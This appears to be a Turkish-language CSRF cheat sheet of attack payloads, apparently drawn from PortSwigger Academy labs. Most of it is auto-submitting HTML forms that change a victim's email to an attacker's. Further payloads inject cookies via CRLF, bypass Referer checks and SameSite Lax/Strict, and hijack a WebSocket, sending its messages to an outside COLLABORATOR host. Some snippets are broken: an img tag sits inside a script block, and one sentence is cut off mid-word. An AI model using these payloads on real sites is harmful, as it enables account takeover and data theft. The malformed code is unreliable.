CSRF

CSRF Nedir?

Cross-site request forgery, bir saldırganın kullanıcıları gerçekleştirmek istemedikleri işlemleri gerçekleştirmeye sevk etmesine olanak tanıyan bir web güvenlik açığıdır. Bir saldırganın, farklı web sitelerinin birbirine müdahale etmesini önlemek için tasarlanan same origin policy'yi kısmen atlatmasına olanak tanır.

  • SameSite=None: Hiçbir koruma yoktur istek nereden gelirse gelsin cookie isteğe eklenir. Eğer csrf token koruması yoksa saldırı yapılabilir.

  • SameSite=Lax: Default değerdir. Eğer istek başka bir domainden geliyorsa sadece GET isteklerine çerezi ekler.

  • SameSite=Strict: Başka domainden gelen hiçbir isteğe çerezi eklemez.

Yöntemler

Korumasız CSRF

<html>
  <body>
    <form action="https://example.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@gmail.com" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

GET Metodu ile CSRF

<html>
  <body>
    <form action="https://example.com/my-account/change-email">
      <input type="hidden" name="email" value="attacker@gmail.com" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

CSRF Token Silme

CSRF Token silindiğinde istek halen kabul ediliyor olabilir.

CSRF Token Session'a Bağlı Olmayabilir

CSRF token eğer bir session'a bağlı değil ise kendi csrf tokenimizi başka kullanıcılarda kullanabiliriz.

CSRF Token Session Dışında Bir Cookie'ye Bağlı Olabilir

Eğer CSRF Token Session çerezi dışında bir çerez ile ilişkili ise bu çerezi kurbanın almasını sağlayabiliriz. Bunun için CRLF (%0d%0a) kullanabiliriz.

<html>
  <body>
    <form action="https://example.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@gmail.com" />
      <input type="hidden" name="csrf" value="CSRF_KEY" />
    </form>
    <script>
      history.pushState('', '', '/');
      <img src="https://example.com/?search=test%0d%0aSet-Cookie:%20csrfKey=CSRF_KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
    </script>
  </body>
</html>

CSRF Token Bir Çerezde Tekrar Ediliyor Olabilir

Eğer CSRF Token bir cookie'de tekrar ediyorsa bu çerezi kurbana aktarabiliriz. Bunun için CRLF (%0d%0a) kullanabiliriz.

<html>
  <body>
    <form action="https://example.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@gmail.com" />
      <input type="hidden" name="csrf" value="CSRF_KEY" />
    </form>
    <script>
      history.pushState('', '', '/');
      <img src="https://example.com/?search=test%0d%0aSet-Cookie:%20csrf=CSRF_KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
    </script>
  </body>
</html>

CSRF Koruması Olarak Referer Header Kontrolü

Sistem kullanıcının kendisinin isteği attığını kontrol etmek için referer başlığını kullanıyor olabilir. Bu korumayı atlatmak için başlığı silmeyi deneyebiliriz.

<html>
  <head>
    <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <form action="https://example.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@gmail.com" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Eğer referer header kontrolünde parser yanlış yapılmış olabilir. Burada url'ye parametre olarak sitenin adresini girdiğimizde korumayı aşmış oluyoruz.

<html>
  <head>
    <meta name="referrer" content="unsafe-url">
  </head>
  <body>
    <form action="https://example.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@gmail.com" />
    </form>
    <script>
      history.pushState('', '', '/?example.com');
      document.forms[0].submit();
    </script>
  </body>
</html>

CSRF Method Override SameSite Lax Bypass

Eğer istek sadece POST metodu ile gönderiliyorsa ve Lax ile cookie işaretlenmiş ise isteği GET yapmamız gerekir. Bunu _method parametresi ile yapmayı deneyebiliriz.

<script>
    document.location = "https://example.com/my-account/change-email?email=attacker@gmail.com&_method=POST";
</script>

Eğer session çerezi lax ile işaretli ise bu çerezi yenileyen sayfaya istek atabiliriz.

<form method="POST" action="https://example.com/my-account/change-email">
    <input type="hidden" name="email" value="attacker@gmail.com">
</form>
<script>
    window.open('https://example.com/social-login');
    setTimeout(changeEmail, 5000);

    function changeEmail(){
        document.forms[0].submit();
    }
</script>

Eğer hedefte popup blocker var ise aşağıdaki kodu kullanabiliriz.

<form method="POST" action="https://example.com/my-account/change-email">
    <input type="hidden" name="email" value="attacker@gmail.com">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://example.com/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

CSRF Open Redirect SameSite Strict Bypass

Eğer session cookie stric

<script>
    document.location = "https://example.com/?page=1/../../my-account/change-email?email=attacker@gmail.com%26submit=1";
</script>

CSRF Subdomain SameSite Strict Bypass

Eğer session çerezi SameSite Strict ise bu korumayı başka bir domainde xss açığı bularak atlatabiliriz.

Websocket CSRF

<script>
    var ws = new WebSocket('wss://example.com');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://COLLABORATOR', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

Araçlar

Burp CSRF Scanner: https://github.com/portswigger/csrf-scanner

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/csrf

Last updated